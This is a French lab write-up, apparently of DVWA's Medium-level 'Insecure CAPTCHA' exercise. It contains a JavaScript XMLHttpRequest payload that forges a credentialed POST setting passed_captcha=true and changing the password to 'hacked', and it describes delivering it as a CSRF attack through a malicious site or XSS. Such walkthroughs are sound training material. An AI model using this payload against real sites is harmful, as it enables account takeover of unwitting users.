Niveau "Medium"

Il faut analyser les modifications apportées à ce niveau "Medium" :

L'étape de confirmation est toujours présente :

La premiĂšre requĂȘte ne semble pas diffĂ©rente :

La seconde requĂȘte contient un nouveau paramĂštre nommĂ© passed_captcha qui a pour valeur true :

Aucune difficultĂ© pour contourner cette protection, j'adapte sensiblement ma prĂ©cĂ©dente requĂȘte XHR pouvant ĂȘtre utilisĂ©e pour une attaque CSRF :

var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;

xhr.onreadystatechange = function() {
  if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
    console.log(xhr.response);
  }
}

xhr.send("step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change");

Pour l'exploitation de cette vulnĂ©rabilitĂ©, il suffit de reprendre le mĂȘme principe que lors d'une attaque CSRF classique (faire visiter un site malicieux Ă  la victime, s'appuyer sur une faille XSS, etc)

Mis Ă  jour